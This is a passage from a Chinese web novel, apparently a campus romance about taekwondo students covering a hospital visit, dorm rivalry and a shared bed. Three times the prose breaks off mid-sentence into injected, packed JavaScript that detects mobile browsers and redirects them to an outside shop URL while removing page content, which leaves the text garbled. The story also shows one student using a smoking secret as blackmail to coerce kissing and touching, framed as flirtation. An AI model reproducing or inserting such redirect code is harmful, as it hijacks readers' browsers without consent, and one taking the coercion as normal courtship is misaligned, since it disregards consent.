“您是师父,但医生说了,您需要静养。”江言从来不客气,如果不好好管着,指不定师父要干出什么荒唐事。从前他还在道馆搞什么冰桶挑战,用行动鼓励渐冻症患者,出发点非常好,可挑战结束之后,道馆里倒下了一片。 当然,也包括花咏夏本人。 没收手机,江言还特意看了一眼屏幕,里面正在介绍一种保养品:“您别瞎买,那都是骗人的。” “唉,年龄大了,想好好保养保养。”花咏夏双眼看天花板,早知道刚才就直接下单了。 “您才37岁。”江言拉了一张椅子,仔仔细细用10张消毒纸巾擦过才落座,然后继续用消毒纸巾擦床头柜,“再过一个月您就出院了,能不能答应我一件事?” “你先说。”花咏夏不上他这个当,大徒弟太多心眼,真不像自己养大的孩子。 “以后下雨了就别晨跑了,您知不知道自己容易发烧?”江言无奈地说。 花咏夏眼珠子一转,不搭理他,不想回答。 “您往医院里一趟,倒是躲了清闲,道馆里的事一股脑儿都丢给我了。”江言买了个豪华果篮,挑了一根香蕉,剥了皮还得哄着师父吃,真不知道打小谁给他惯的臭毛病,“今天郑直贤找过我。” 花咏夏刚把香蕉塞嘴里:“他怎么又来了?” “踢馆。”江言一语道破。 说是比试,其实就是踢馆,每个道馆都能碰上这样的事。咏夏道馆不是头一回遭遇,几乎每年放假都有一些没学过武术的半大小子想来比试。那些少年无一例外都是混混、校霸、街头选手,因为在学校里打了几年的架,就以为自己天下无敌,能够和跆拳道一战。 跆拳道,一直以来都被人诟病“最好打的武术”、“只有观赏性”、“实战垃圾”。 可事实是,普通人连正规跆拳道选手的一脚都扛不住。 但这次不一样,首先郑直贤是代表了他的道馆而来,其次,是他师父想要和自己师父打。江言对于师父的身体状况最为了解,理所当然地拒绝了。 “这些人,为什么总喜欢打打杀杀,武术不就是一个体验吗?非要唯分数论,整个你死我活。”花咏夏当然也没有迎战的意思,他太了解自己的身子,25岁的时候他什么都不怕,如今考虑很多,“你在学校也是,要拦着师妹和师弟,别让他们和叶家的人起冲突。” “我知道。”江言也给自己剥了个香蕉,“王清清和顾梦瑶没有找过麻烦。” “她俩?可不要小瞧她俩的胜负欲,叶家出来的人,把输赢看得非常重要,他们可不是咱们家这样的体验派。”花咏夏顿了一下,“她们不知道你是我徒弟吧?” “不知道。”江言心想全世界也就您是体验派,现在为了金牌什么脏手段都敢来。 花咏夏点点头,心里还想着刚才没买的保健品:“那就好。你也别和她们接触太多,别打架。” “您放心吧,对叶家的人我有分寸,肯定不会走近。”江言拿出遥控板,将调节成16度的空调调成了26度。 手机在兜里震动,他拿出来看。 是金子总会柯拉的:[你什么时候回来?我想吃铜锣湾。你不回来找我,我就去抱周高寒大腿了。] 江言面无表情地回复:[去抱啊,和他破冰。] 在医院里,时间总是过得很慢,江言不着急走,因为他知道师父无聊得长毛。两个半小时之后,他等花咏夏睡着了才起身,刚刚出门就遇上医生:“大夫,您好,请问我师父怎么样了?” 医生驻足,认出这就是那天送病人来的男生:“哦,325的病人吗?他恢复得还行,只不过以后可不能过于劳累。” “好。”江言往心里记,“那……没有生命危险吧?” “没有,但是他这种情况……切记不能劳累。”医生语重心长。 江言点了点头,谢过医生。不管出于什么原因,他都会拦住郑直贤的踢馆请求。 离开医院,江言去取车,一路畅通地骑回学校。这时候宿管要求每个宿舍检查电线,他又连忙赶回宿舍,一推开门,首先看到的是金丞的行李箱。不是很大,小小的一个,放着他的家当。 行李箱上有几道裂纹。因为昨晚金丞没在宿舍住,还没来得及收拾。江言先把行李箱放一边,再去检查,余光不经意看到了一样东西。 书桌一角,放着一盒新开的薄荷烟。 金丞的?看来金丞不仅闻出自己藏匿的烟味,还打算同流合污?江言拿起烟盒看了看,仿佛拿起了一个标明“我是陷阱”的东西。他打开烟盒,抽出一支嗅了嗅,刚刚放进嘴里…… 刷,401的房门就打开了。 “我就知道你抽烟。”金丞一直在外头猫着。 窗外刚好有光投进来,明暗色块不仅没有模糊江言脸上的边界,反而增加了清晰和精致。金丞走到他面前去,将那支烟嘴微湿的薄荷烟夹了过来。 当着江言的面,放进了自己的嘴里。 金丞舔了下嘴唇:“学长,你在宿舍抽烟,这可是违规乱纪,这么大一个把柄掉我手里,你说怎么办?” “你想怎么办?”江言倒是想看看他还能威胁到什么地步。 “喂,你现在可是被我抓包,先清楚立场。”金丞抿了下柔软的唇珠,点了点自己的左脸颊,舒展地笑开了,“亲一个,我就帮你瞒着,然后咱俩一起同流合污进学生会。咱们不争了,让一让,你让我一年。” 江言看着他的脸蛋,很想试试捏一把。 “怎么,不想亲?我这干干净净的脸蛋儿,你亲我,不亏。”金丞往前一近,又拿起他桌上的香水,照着上头的英文字母读,“F……F……什么rench,后头这个我认识,Lover,爱人……连起来什么意思?” 这文盲。江言开始扫盲:“法国情人。你是没上过学么?” “上过,英语不好。”金丞把香水放下,勾着手指头将江言的领口拉开,闻闻,“中药味?这么苦? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114410|136873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人喷香水,你怎么喷苦水?” 江言将他的手拨开。“我小时候总是喝中药,习惯了。” “怪不得我一见到你就觉得你有种病美人的氛围,敢情你真是个病包儿。”金丞逗得差不多了,再次点点面颊,“亲,还是不亲呐?” “你去找周高寒了么?”江言却换了话题,“今天周高寒把跆拳道专业约好的采访给撤了。” “什么?”金丞一愣。 “咱们专业本身就冷,他要打压。”江言给他撕开项目当中的明争暗斗,“你不是热门专业,他不会招你。他讨厌我,就会打压跆拳道,连带打压你,信不信?” “不信。”金丞摇摇头。 “他不是运动员,不会把宣传重点放在体育上。”江言很认真地告诉他,“你如果想劝我放弃,最好拿出实力,先把跆拳道这3篇约好的专访找回来。这不简单,你要先说通周高寒,再去找新闻部,新闻部从前的干事被他踢走了,新人不会帮你,你就要动动脑筋。” “没问题,我不怕失败也不怕麻烦。”金丞歪着头,像是被他打动了,话音一落,401的门再次被人推开,进来的人僵在原地。 祝白白傻了眼,他以为师兄不在,所以赶回来检查电线,怎么金丞和大师兄是这个暧昧的姿势,简直是有辱斯文,玷污了大师兄的清白! “你怎么在这里?我警告你不要碰我的……”祝白白的目光在两人当中来回。 江言一个皱眉的神色递过去,祝白白就住了口。 师兄弟一条心,他们除了没有血缘关系,甚至比亲兄弟还要亲密。祝白白懂了大师兄的意思,改口为:“不要碰我的学长!” “我就碰,怎么着?”金丞趁机在江言脸上摸了一把,然后走到了祝白白的面前,“我碰碰你学长又怎么了?别着急,等晚上就到你。你也很可口,我也想尝尝你。” “你……”祝白白无话可说,无助地看向江言。 然而江言却在思考另外一件事,那就是自己有可能……真的被金丞给抓包了。宿管要是来问,他不怕,最多写写检查,保证以后不再犯就是。可如果抽烟这事师弟一旦知道,以祝白白那个单纯的跆拳道脑袋,他绝对会告状。如果说他是晚上6点知道的,那么师父的电话就会在6点3分打进来,接下来的事情会很麻烦。 思来想去,江言不得不承认,这一步踏得有点太狠了,真跌进了陷阱。 “别怕,我会好好疼你。”金丞就喜欢欺负人,欺负完了比自己矮的,转身又去挑战比自己高的,“所以你亲还是不亲?” 祝白白内双的眼睛顿时瞪成大圆眼,怎么回事?他逼迫师兄……亲他?荒谬,士可杀不可辱!大师兄也断断不会如此下作! “去浴室。” 下一秒,江言指了一下宿舍配套的淋浴间。这通操作又一次让祝白白看不懂了,却只能眼睁睁看着那两人一前一后走进去。大师兄先进去,嚣张狂徒金丞后进,他还挑衅似的,在自己面前耀武扬威关上了门。 不,不会的,江言一定是进去教训他,狠狠还以颜色!祝白白双拳紧握,完全能想象到浴室里面的战况,全道馆都清楚师兄的为人,在他们这些人的眼里,江言就是第二个花咏夏。 如果师父不在道馆,大师兄的话便是师父的话。所以金丞这样妖里妖气的人,落在大师兄手里,一定没有好果子吃。祝白白无比确定,甚至还有些期待,好想知道师兄如何惩治他,让他从此再也不敢冒犯。 “我命令你,快亲我。”小小的淋浴间里,金丞正在冒犯,两只手绕上了江言的腰。 14.小金子没人要 江言往后挪了一步。 他不想亲。 他承认自己不讨厌金丞,但不讨厌不代表可以亲。 “松开我。”江言抓住了他的手腕。 “松不开。”金丞紧紧搂住,胳膊像一条绳子拴在江言腰上,他越抗拒,自己就越开心。没有道德是真快乐。 江言下半身动不了,上半身仍旧呈现出抗拒姿势。他不喜欢这种冒犯,金丞的眼神很黏糊,像温热的胶质,挤压过来,碾压上去。充满不知名情绪的气团在他喉咙里变成了泡沫,他猜金丞一定很擅长用这一招。 不然,怎么可能每个分寸都拿捏得那么不到位。 “松开我。”江言看向了天花板。 “亲一下嘛,又不会掉块儿肉。”金丞势在必得,因为他瞧得出来,江言很在意别人知不知道他抽烟喝酒骑摩托,说不定还烫头,“亲完之后保证你的嘴笑成typeC。” 江言笑不出来:“你脑袋里这么多梗,就不怕脑梗么?” 金丞没再多说,把右脸颊转给他。“亲。” 江言摇了摇头:“休想。” 金丞一挑眉毛,半踮脚,用自己的鼻尖蹭上了江言的鼻尖:“那我去找祝白白亲我。” 江言脸色明显沉了,看着金丞肆意作恶、挥霍美色的嘴脸,上身的紧绷感被迫松弛下来。 金丞看着他不情不愿地靠近,当他的嘴唇贴在自己的皮肤上,金丞的身体微微一震,说心里话,他没想过江言真的会亲,毕竟抽烟又不是什么大逆不道。 但江言真的亲了。 亲到了。 真好笑,一个贱货让你亲你就亲啊?金丞反而盯紧了他。江言的动作很慢,很小心翼翼,看不出一丝玩世不恭,仿佛在执行一项精密的任务。他的脸实在生得太好看,像冰雪中的冰雪。 金丞甚至没有从这个恶作剧的行为里感受到敷衍。 他被很多人亲过,开玩笑的,认真的,也亲过很多人的脸蛋。可这回是头一次,认真的。 “可以了么?”江言的身体已经站直,多一秒钟都不想弯。 “可以。”金丞格外高兴,他想,江言或许和别人真不一样。 而江言下一刻扒开了他的手臂,逃离万劫不复之地一样抽身而退,没再和金丞说话。 等到他从浴室出来,祝白白目光不错地看着他,想看出什么端倪。江言出去打热水,师弟追了上来:“师兄,你怎么治他了?没亲吧?” 江言自然不能告诉他亲了:“怎么,我看着像那么容易被拿捏的?” “那肯定不是,我就知道你能治他。”祝白白放心之后连喘气都舒坦许多,自家兄弟没被玷污,太好了。 江言的嘴唇有些发痒,像亲了一个没洗的毛桃子。 两三天就这样过去了,江言没再和金丞说过话,金丞无数次想要搭话,可都被江言冷冰冰的态度打了回来。哪怕他给江言买了冰饮,都原封不动地扔在原地。 不至于吧,不就一个玩笑嘛。金丞倍感失落,可他的性格又决定了不会道歉。这天,他按部就班地进行训练,完成了一天的任务之后,洗了澡,从道馆直接奔往学生会。 既然冰饮不能破冰,我把跆拳道那3篇采访找回来,总能让江言高兴了吧? 不就是哄美人嘛,我会。 金丞小跑着去,跑到一半就累了。他扶着膝盖大喘气,减重之后体能下降得厉害,再也不是生龙活虎的那个他。低血糖加听不清楚,蚕食着他的平衡能力,金丞靠在操场铁丝网上缓了好久,才慢慢挪到了宣传部。 宣传部里面正在开会。 “您好……我是大一新生金丞。”金丞敲了敲门,声音虚得够呛。但笑容仍旧漂亮。 “等一下。”里面站着的人应该就是周高寒安排的部长,他扫了一眼金丞的道服,权衡了一番。 跆拳道的,冷门,一看就是为了采访来的。 这样一想他也不着急了,不紧不慢处理着工作,还以为能把这人熬走。没想到四十多分钟过去,他一扭身,金丞已经站在他面前了。 “你怎么进来了?出去。”他斥责。 “我进来问您一下,跆拳道的采访还做不做了?”金丞忍着脾气问。 “哦,不做了。”那人理所应当地摇摇头,“现在刚开学,上采访的项目太多就砍了几个。” “那也不能把我们全砍了把?最起码留一个。”金丞问。 “对,全砍了,因为没那么多时间。”那人很不客气,“你还有事吗?没事的话请出去。” 金丞看了他几秒钟,一笑:“行,我先出去了。” 虽然人出去了,但是魂儿还没走。金丞一直在外头等着,等宣传部开完会,他拦住了一个脖子上挂照相机的人:“您好,请问您是体育记着吧?我们跆拳道的……” “这个我们不知道啊,我们都听部长安排。”体育记者摆了摆手,显然已经通过气了。 “听他安排啊,行行行,你走吧。”金丞挥了挥小手,给我滚滚滚。 一个一个至于吗? 学生会弄得跟后宫戏似的?真拿鸡毛当令箭呢! 又一天训练结束,江言往宿舍走,时不时提醒自己要遵守道心,不轻易动怒,不肆意妄为。等到他推开宿舍门,地上是成片的兵荒马乱,道服、黑带、训练护指、止痛膏药……凌乱地洒在他一点点擦干净的地砖上。 紧接着他就听到金丞回来了。 “你今天这么早?”金丞见江言还不搭理人,便笑呵呵,“我和你赔个不是,你理理我。” 江言转过了身。 “你这是冷暴力……你得珍惜我,以后还没人这么哄你呢。”金丞哼了一声,无奈地去冲澡。不多会儿,他站在莲蓬头下,任由热水流过他的背沟,冲刷着他对称的腰窝。他洗澡很马虎,洗浴用品就是一瓶13合1的香波,还是以前武校发的。再抬头看向那一整排的琳琅满目,不用猜就知道肯定是江言的。 护肤乳、保湿水、晚霜、精华露、修复液…… 这家伙每天洗澡洗脸花这么多功夫?金丞百思不得其解,拿起自己的香波看了又看,还是这个好。 等到11点半,体院终于安静下来,夜晚给这群蓬勃青春的年轻人按下停止键。可惜,凌晨两点半的一场雷雨袭击北京,外头的白闪横着飞过去,刷刷刷,一道又一道。金丞在百般无奈之下还是被雷声吵醒,顺手撩开床帘看了看。 雨真大。 金丞的床位离窗口很近,对面是江言,右下方是祝白白。 “妈妈……妈……” 一道脆弱的声音打断了金丞的入睡,用他漂亮的脚指头想想都能想出这声音是祝白白。怎么了这是?想回家了?夜里偷着哭? “妈……妈……” 但意料中的哭声并没有出现,反而是简单的呼唤,反反复复,断断续续。金丞感觉自己这一瞬间特别猥琐,靠,大晚上不睡觉,听别人做梦喊妈妈,可问题是他还真没困意了,听得挺有趣。 等到祝白白第6次说梦话的时候,金丞不仅偷听了,还爬上了祝白白的床。 “成了成了,妈妈来了,你可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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体院的上下铺都是订制,加宽、加长、加固,生怕委屈了为国争光、为校争光的体育健儿。现在床铺也发出不堪重负的声响,好在下面是固定式书桌。 等到师弟跑到自己床上,江言决定放手,心里一团火气都要顶到嗓子眼。从金丞一出现,好像所有事情都乱了套,遇上犯冲。然而,就在他准备收手的刹那,他看到金丞密集的眼睫毛颤动了几下,薄薄的眼皮缓缓地睁开了。 刚入睡的金丞,醒了。 睡得本来就不沉,怀里空了,自己的手腕被别人捉着,金丞面对的是这样的场面。江言顿住,这也是他从未遇上过的情况,目光交汇之间他还没想好怎么开口。还是说,干脆不开口,将金丞从床上揭下去。 然而,金丞沉默着,只是将他的手拽到了枕头上,当成了枕巾,将自己的鼻子埋了进去,将滚烫的气喷在江言天天做手膜呵护的掌心里。 他要干什么?江言内心再次风云四起,卷动着一场狂潮,金丞却毫无感知,俏皮地对着刚刚吹过气的掌心,亲了一下。这个掌心的温度和气味他很满意,恨不得将脸再埋进去闻一闻。 和妈妈夜里抚摸自己的感觉很像。 小金子,别害怕。 金丞已经快要睡迷糊了,又困又累。现在他想起来的人就是妈妈那个傻女人,漂亮脸蛋白痴心。迷迷糊糊中,他将江言当成了妈妈的替代品,他想要温暖,想要人陪伴,想要人爱,想要人记得,想要珍惜。这些通通都想要,和想要接吻和做.爱一样。 “手不错。”于是他拉住江言不放,将自己想要的藏在玩笑里,“命令你,陪我睡觉。” 说完之后他感觉到江言的手在远离他。 哈哈,果然没人要我。 可是手停下来了。 15.我们打啵儿吧 江言进退两难。 金丞的人品对他而言还是太不能理解了,也太不能接受。 祝白白还在他床上,401里的一切都混乱无章,仿佛成为了体院最乱的一个宿舍,充满了不能言说的暗涌。 “陪我。”金丞用口型说。他又腾出一只手,做了一个抽烟的姿势,并拢的食指和中指在嘴唇上轻轻一落又抬起来,熟练得很。 你如果不过来陪我,我就举报你抽烟。 金丞不傻,一个人能被什么拿捏,就说明他在意。别看只是抽烟一件小事,可它对江言就是大事。他在意,特别在意。 随后,江言看了看旁边的祝白白。 祝白白惊魂未定,也看向了他。 江言给他指了指旁边的床:“你去金丞床上睡一下。” “啊?”祝白白刚刚躺好,还以为自己听错了。怎么回事?为什么要去金丞的床上睡觉? “你先去。”江言又指了指。 尽管心里充满问号,可祝白白还是下了床,虽然不理解师兄的意图,但大师兄这样做一定有他的道理。 于是他爬上了金丞的床,虽然他们同班,可他不了解金丞,军训时两个人不在一个宿舍,金丞被分到游泳队那边去了。游泳队的人肩宽体厚,每一个都是双开门,金丞混在里面洗澡,像一群倒三角里面混进了一个异类。奇怪的是,游泳队和金丞的关系还非常好。 祝白白曾经见过几次,游泳队的肌肉猛男光着膀子,把金丞扔起来玩儿,好几个人又一起接住。金丞似乎很擅于和所有人打成一片。 那也别打到我床上来啊!祝白白哀怨地躺在金丞的枕头上,正准备拉床帘,借着窗外的电闪雷鸣他看到师兄的床帘在晃动。大概是师兄也躺好准备睡了吧。 祝白白没多想,拉上床帘准备睡觉,明天一早还有训练。对于顶尖运动员来说,充足的睡眠可太重要了。 就在他几米开外,金丞差点被江言挤下去。 虽然体院的床都是加长加宽,可容量也是单人床,没说过让两个人一起睡。金丞还刚好在外侧,整个身体压在床栏上,不得已只好侧躺。 江言还是平躺,而且已经闭上了眼睛。静心,保持道心就好,眼前一切不过云烟。 都过来了,还想装作无事发生?金丞将一只手放在他胸口上,像模像样地往下压一压:“帅哥,手感不错。” 江言眉心紧蹙,就当是被狗摸了吧。 “我以前也摸过挺多,你身材最好。游泳队那边的,胸肌太大,我不喜欢那么大的。”在类似呢喃的声音里,金丞闭上眼睛,“他们好饱满,特别是游蝶泳的。” 他眼睛闭上了,江言的眼睛却睁开了。自己去年就是和游泳队一个宿舍,认识的好兄弟之一是蝶泳冠军,确实很大。 “你倒是挺了解他们……的身体。”江言冷不丁地说。 金丞动了动肩膀,轻松地笑了。因为左耳听不到,江言的声音忽近忽远,外加窗外的雷雨声,真是上好的白噪音。“还行吧,诶,我刚才没摸够,能不能再摸摸你?” “休想。”江言拒绝。 “切,真小气,长那么好看还不让人摸,再过一年,你想让我摸都没戏了呢。”金丞忽然叹了一口气。 江言哼笑:“怎么着,明年你转学还是出国?” 这倒是很有可能,毕竟金丞的家里是开迈巴赫的条件。跆拳道目前在国内发展只能说一般,和热门竞技项目不沾边,离爆门更是远得不行。如果金丞的家里那么有钱,说不定他短时间内就会转业。 江言作为咏夏道馆的下一任主理人,最清楚人才流失有多严重。 “明年……万一我换宿舍了呢。”没想到金丞却这么说,“我要是换宿舍,你会想我吗?” 江言的眉心又轻微一挤,挤出了很不明显的纹路。“那你赶紧换吧。” “你真讨厌,哈哈。不过我喜欢。”金丞笑着转了过来,左耳朵压在枕头上,右耳朵听着江言喘气,“江言,你打过啵儿吗?” 话题转换如此生硬,江言的脸色不比旁边的墙好到哪里去。“和你没关系吧?” “要不咱俩试试?就是那种,真正的打啵儿,不是嘴儿对嘴儿一碰。”金丞注视着江言的唇线,真的太想试试了。 “你还是赶紧睡觉吧。”江言微不可查地往墙的那一面偏身子。金丞又开始不正常了。 “哈哈,我不,你是不是觉得我特讨厌?”金丞却将手重新放在江言胸口,在他心口画圈圈,“是啊,我好坏啊,我怎么这么乱来。” 江言喘了一口气:“你知道就好。” “那这样吧,既然你不让我摸,换成你摸我?”金丞直接将手往下挪。 挪过的地方依次是江言的腹肌,剑突,人鱼线,肚脐……就在江言马上要阻止的刹那,身子一弹的前一秒,他的手被金丞揭了起来。而后不等江言有所反应,金丞强迫性地将他的手放在了自己胸口。 “摸我。”金丞渴求地舔了下嘴唇。 江言的手指一直不动,大脑产生了几秒钟的短路。金丞穿了一件宽肩白色背心当作睡衣,但布料偏薄,指腹能轻易地感受到体温,以及下面的肌肉走向和凹凸。偏偏江言的手又非常敏感,随着金丞的呼吸,他甚至可以想象出皮肤上的纹理和出汗的程度。 “我操,哥们儿你的手有点硬啊。”金丞也感受了一下,原先他看这双手美丽还以为柔弱无骨,没想到跟改锥似的。 江言还是一言不发,手指被金丞攥得滚烫。 “你这手……”金丞一只手压着江言,一只手捋起江言的手指头,套.弄了一下,“怎么这么好摸。” 江言用力地往回收了一下。 “别动,不然我举报你抽烟。”金丞若无其事一般靠住江言的肩,自己就是命好,到哪儿都有帅哥陪,“学长。” 江言瞪着天花板,安静的目光在黑夜里狠狠扎进了屋顶。 “你摸摸我好不好?我想感受一下。”金丞说得毫无心理障碍和羞耻心,“那种……充满爱惜的摸,使劲儿了怕我疼,不使劲儿怕我没感觉,那种力度。” “你是不是有病?”江言终于说话了,声音很低,有点痛恨。 “不摸就不摸,干嘛咒我有病,我不想有病,我身体健康。”金丞愣了愣,没再耍贫嘴,而是老老实实地收回了手。他嘴唇蠕动了几下,最后又把想说的话藏在了黑夜里。 江言很快将自己的右手收回来,然而没用,那感觉已经烙印了,挥之不去。他只是触碰了金丞的胸肌,可想象力这东西最不讲理,它可以无限延伸。窗外的雷雨声更加不讲理,颇有风雨逍遥摧枯拉朽的架势,吵得人睡意全无。 这样大的风雨,祝白白什么都听不到吧? 师弟一直都是一个小睡猪,只要碰到枕头就睡着了。 自己也得变成一头睡猪才行。 快变猪,快变猪,赶紧睡着就不用面对金丞花样百出的幺蛾子。江言正努力催眠自己,耳边的喘息声忽然明显起来,伴随着带有热度的呼吸,衬托着布料的摩擦,闹得人无法清净。 “好想找人摸。”金丞自言自语着。 江言转了过去,只能用后背冲着金丞。 这一夜的雨水像是没完没了,将前一周的闷热尽情打破,雷声和闪电像是一对儿暧昧的情侣,难舍难分,两个一起出现又一起消失。 碍于早练的缘故,江言的体内有一个生物钟,到了时间就会清醒。天蒙蒙亮,尽管有窗帘和床帘挡着,但依稀可以听到淅淅沥沥的雨声,和屋里隐隐约约的空调声。 他缓慢地醒来。 金丞正搂着他。 自己不干净了!江言瞪大双眼,下意识地往后缩了一下,可是单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138530|136873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人床不允许他躲到天涯海角。金丞的一条腿就挂在他的腰上,两条手臂牢牢地勒着他的肩,像无尾熊。 趁我睡着了,暗算我?掐死我?江言左右偏转头部,希望找到机会抽身而退。 自己也不是睡眠很沉的人,怎么昨天晚上真变猪?江言心里充满了矛盾感,恨不得抓住金丞的脚踝将人扔下去。现在这姿势太暧昧,两人胸口相贴,金丞就扎在他脖子底下,像是将他当成了暖烘烘的热源。 臭流氓。江言不想看他。 几秒种后,金丞的右脚开始在他小腿上滑动。 江言开始看他,只能看到一个发旋和蓬松黑亮的头顶。金丞的脑袋很圆,像土豆。 脖子上非常痒痒,他的眼睫毛像淘气的小刷子在恶劣骚动,挑战江言的皮肤敏感度。由于贴得太近,他甚至能感觉到金丞眼皮下的眼球不断震动,俨然正在做梦。那只脚还在他腿上滑,脚骨坚硬,脚心却意外柔软。 脚趾偏细长,很干净。 脚指甲修剪得很圆润,江言都能想象到金丞翘着脚在床边上,手里拿着一个指甲刀,床边放着一个垃圾桶,一点一点地修剪出喜欢的形状。足弓弧度非常柔顺,趾缝之间藏着不明显的肉粉色。 毛桃子长脚了。 江言又不想看他了,于是又闭着眼睛把身体往后挪。结果他这样一动,正在睡觉的始作俑者醒了过来,迷迷蒙蒙当中,金丞在他脸上摸了一把。 毛桃子又长手了。 “你这回……怎么没走?” 江言刷地睁开眼,金丞显然是把他当成了别人。一个经常,高频率,陪他睡觉的别人。 金丞半个人还在梦里,早就忘记自己身在何处。但是他觉得搂着的人应该是大哥,只是脑袋里面短暂地冒了个问号,金启明不是半夜就走吗?每次都偷偷摸摸,偷感很重的样子,怎么今天自己都睡醒了,他还在? 更奇怪的是,这一觉睡得好暖和。 金丞脚冷,末梢血管的供血功能一直不怎么样,手脚经常冰凉。所以他习惯性地靠近任何热源,现在也不例外。紧接着,热源开始揪他头发,金丞不耐烦地抬起脸来,金启明你是不是找揍啊! “啊……”结果看清之后,大哥的脸没了,变成了江言的冷脸。 “嗨,美人。”金丞慵懒地笑起来,用勾勾搭搭的语气说,“早上好啊。” 没想到江言一言不发,拨开他的手,从这一张床迈到了另外一张床上。 切,大早上生什么气啊?自己影响他晨.勃了?金丞躺着伸了个懒腰,百思不得其解。 半小时后铃声一响,这天的训练和课程正式开始,上午安排先是敏捷性训练2小时,再紧跟着一节大课。中午吃饭,下午又去健身房拉有氧,金丞按部就班地跟着,只是左耳朵仍旧听不见。 不会一辈子听不见了吧?金丞开始后怕,抽空换了个创口贴,打算再给它3天时间,再听不到就去医院。正在他休息的时候,一条振奋人心的消息来了。 周高寒:[新干事开会,你来不来?] 金丞放下手机,一秒都不带犹豫。当然要去了,从周高寒手里把3篇采访要回来!谁也别想欺负跆拳道! 运动员的生活其实非常枯燥,江言一直都这么觉得。如果说光凭借热爱,坚持一年两年绰绰有余,但是能长期以往坚持下来,更需要一份超出常人的自律和长期主义。 后天就是体育节了,江言到时候要上场表扬特技。现在他在更衣室里填写明天的训练计划,一位不速之客给他发来了信息。 周高寒:[猜猜谁给的?(红酒照片.jpg)] 7、8万的帕图斯,就是金丞在更衣室里拿出来的那一瓶。当时他要给自己,自己没要。 江言认出了酒瓶,新消息又弹了出来。 周高寒:[你小朋友的酒,很润喉。] 16.你是直男吗 此时此刻,金丞正在等开会。 周围没有一张熟面孔,全部都是大二或以上的学姐和学长。 周高寒在远处发信息,金丞无所事事,开始在这屋里寻找好说话的对象。前面是一个学姐,看上去心事重重,正在整理会议记录,还是不要打扰她了。左边是一个学长,正在开远程视频,不知道和谁聊得甚欢,也不能当作搭讪对象。 无聊之下,金丞看到几个人正在往屋里搬东西,便过去帮忙:“我来吧,这是我们跆拳道的表演板。” 一层一层表演板重叠码放,好似规整的木盒子。金丞对这个再熟悉不过,从小就有接触。 “是啊,全是体育节用的。”搬东西的男生擦了擦汗,“你是新人?” “是,我大一,叫金丞,刚好就是跆拳道专业。”金丞连忙说,“体育节有特技表演吧?” “是啊,表演人员主要是大四游俊宇那一批,还有大二的江言。”男生已经看过彩排了,“你怎么没上?” “我可能来得晚了一天,没报上。”金丞一听是江言的项目,索性弯下腰小心地检查起来。别看都是木板,可是跆拳道的板子内藏玄机,稍有差池就是天上地下的区别。 “这些板子的厚度都是大师板了啊。”金丞随意地翻了翻,猛然间停了下来,目光锁定其中一张。这板子……不对吧? “是吧?反正我也不懂,他们让我搬进来我就搬了。”男生见金丞对这些感兴趣,便说,“体育节已经宣传很久了,是本学年的第一个体院大活动,你们加油啊。” “啊?”金丞的思路已经飘远,又硬生生拽回来,“好,一定加油。” 他忙着挪完所有大师板才回到原位,可心里头一直七上八下。表演板的中间应该有一道裂缝,表演者一踢即碎,这样才不会造成伤害,可刚才那一批板子不是每一张都有缝隙,有些板子是实的。 也就是说,如果江言表演空中击飞,板子不一定会碎,他说不定会受伤!如果表演失败,这对于跆拳道项目来说是一次非常惨烈的闹剧。是谁谋划的?那些木板是一不小心混入大师板里的,还是有人故意? 刚刚这样想完,一个陌生的男生坐到了金丞的右边。金丞随意一瞄,诶?这不就是那天在电梯里见过的大帅哥……等等,怪不得眼熟呢,首体大招生简章的C位就是他,跳高项目著名运动员,陶文昌。 “学长你是陶文昌吗?”金丞欣喜若狂,首体大这么深的池子,随随便便一撞都能撞上健将运动员。 陶文昌正低头扫手机,抬眸也认出了他:“啊,是,你好你好。” “真的是啊?我经常在电视上看到你。”金丞对成绩突出的竞技人本身就有好感,更何况长这样清爽帅气,“上次在电梯里碰到你,没来得及说话,当时情况有点特殊。” 陶文昌点了下头,嗯,当时是挺特殊,周高寒和江言一人一边掐着你,动动手指头都知道他俩抢人。“没事,以后就算认识了。你直接叫我昌哥,我大四,有什么解决不了的事情你找我。” “谢谢昌哥。”金丞马上接话,“昌哥你在手机里买东西啊?” “唉,小玩意儿,哄前女友高兴的。”陶文昌大方地伸过手机,“这个是录音小熊,挺幼稚的吧?” “不幼稚,你给我也买一个吧,我给你钱。”金丞真没觉得幼稚,买回去可以送金启星,“昌哥,你是体育部的吧?” “别看我是运动训练专业,但我真不是体育部。”陶文昌故意耍帅似的摇了摇手指,“我是财务部。” “财务部?”金丞顿住,老实讲,他对学生会都需要干什么并不了解,对各部门的详细责任也没有一个笼统的概念,“管钱的?” 陶文昌点头:“差不多。财务部相当于学生会的钱包,不管你要干什么都要用钱对吧?古代打仗也有一句话叫‘兵马未动,粮草先行’。” “哇塞,你好有学问。”金丞佩服,“一看你文化课成绩就特别高吧?我以前在武校,上课总睡觉。” “还行还行,我高考怎么也五六百分呢。”陶文昌给自己树立光辉形象,转而又问,“武校?哪个?” “正山。”金丞回答。 